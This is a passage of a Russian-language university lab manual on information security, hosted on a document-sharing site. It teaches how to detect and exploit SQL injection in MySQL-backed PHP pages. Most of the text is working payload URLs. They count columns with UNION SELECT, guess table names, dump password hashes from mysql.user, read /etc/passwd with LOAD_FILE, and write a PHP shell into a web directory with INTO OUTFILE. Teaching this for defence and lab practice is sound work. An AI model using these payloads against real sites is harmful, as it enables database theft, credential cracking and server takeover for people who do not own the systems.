Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
БИТ лабы метода.doc
Скачиваний:
1
Добавлен:
01.05.2025
Размер:
142 Кб
Скачать
☆

4.2.1. Выявление уязвимости веб-приложения к sql-Injection

SQL-Injection - уязвимость, возникающая вследствие недостаточной проверки принятых от пользователя данных, в результате чего данные могут содержать последовательности, воспринимаемые СУБД как команды.

Зачастую, о наличии SQL-Injection могут сказать ошибки, явно указывающие, что произошла ошибка в SQL-запросе. В тоже время о наличии ошибки в SQL-запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передадим программе несколько измененные значения этого параметра.

Например, вместо http://site/test.php?id=12 передаем.

  • http://site/test.php?id=12'

  • http://site/test.php?id=aaa

  • http://site/test.php?id=13-1

Если последний запрос выдаёт страницу, аналогичную http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии уязвимости в нефильтруемом параметре.

4.2.2. Анализ бд через sql-Injection

Допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL-запроса, в котором произошла ошибка, сведёт трудность эксплуатации SQL-Injection к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно всё равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

6

В частности, возможна ситуации, когда при ошибке возвращается код ответа 500, или происходит перенаправление на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http-запросы, про которые известно, какой приведёт к правильному (но возвращающему пустой вывод) SQL-запросу, и какой приведёт к неверному SQL-запросу. Например, при не фильтруемом параметре id:

  • http://site/test.php?id=99999, вероятно, будет возвращен пустой результат, в то время, как

  • http://site/test.php?id=99999' должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и БД.

Рассмотрим случай, когда SQL-Injection происходит после where. Если мы рассматриваем СУБД MySQL, то получение информации из БД может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union.

1. Количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

  • http://site/test.php?id=99999+union+select+null/*

  • http://site/test.php?id=99999+union+select+null,null/*

Более, того, если не имеется возможности отделить неверный запрос от возвратившего пустой результат, можно сделать так:

  • http://site/test.php?id=12+union+select+null/*

  • http://site/test.php?id=12+union+select+null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL-Injection.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2. Номер столбца с выводом. Нам понадобится знать, в каком по счёту столбце происходит вывод на страницу.

При этом, если на страницу выводится несколько параметров, лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text -лучше всего). Такими полями могут быть, например, описание товара, текст статьи и т.д. Ищем такое поле:

  • http://site/test.php?id=9999+union+select+'test',null,null/*

  • http://site/test.php?id=9999+union+select+null,'test',null/*

7

И т.д. до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Здесь можно столкнуться с проблемой: в скрипте, возможно, имеется проверка на не пустоту одного из параметров (например, id). Тогда придётся воспользоваться следующим свойством MySQL: числовой тип данных может быть приведен к любому типу данных без возникновения ошибки, причём так, что переменная сохранит свое значение.

• http://site/test.php?id=9999+union+select+1,2,3/*

Этот же способ пройдет и там, где кавычки экранируются.

Открытие комментария добавлено для того, чтобы отбросить остальную часть запроса, если она имеется. MySQL корректно реагирует на незакрытый комментарий.

3. Имена таблиц

Теперь можно перебирать имена таблиц.

• http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Как правило, имеет смысл проверить существование таблиц users, passwords, regusers и т.д. и т.п.

4. Системная информация

У нас уже достаточно информации чтобы составить такой запрос.

• http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, этот запрос вернет хеш пароля, который в большинстве случаев легко расшифруется. Если выводится только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

  • http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0 ,1/*

  • http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1 ,1/*

8

Кроме того можно узнать много интересного:

  • http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

  • http://site/test.php?id=9999+union+select+null,USER(),null/*

  • http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5. Названия столбцов в таблице Их аналогично, можно перебрать:

• http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и т.д.

6. Получение текста файлов через SQL-Injection

Если пользователь, от имени которого осуществляется доступ к БД, имеет права file_priv, то можно получить текст произвольного файла:

• http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd') ,null/*

7. Запись файлов в веб-директорию (php shell)

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и т.д.), а также знаем имя хотя бы одной таблицы (mysql.user, например, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа:

• http://site/test.php?id=9999+union+select+null,'',null+from+table1+into+o utfile+'/usr/local/site/www/banners/cmd.php'/*

При этом конструкция from table1 обязательна. Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например, в директорию /tmp/, и затем подключить этот файл оттуда при помощи уязвимости в include.

8. SQL-Injection после limit

Довольно часто уязвимость к SQL-Injection возникает внутри параметра, передающегося к limit. Это может быть номер страницы или нечто подобное.

9

Практика показывает, что все вышесказанное может быть применено и в этом случае. MySQL корректно реагирует на запросы типа:

  • Select ... limit 1,2 union select....

  • Select ... limit 1 union select....

Если необходимо, чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запроса:

• Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....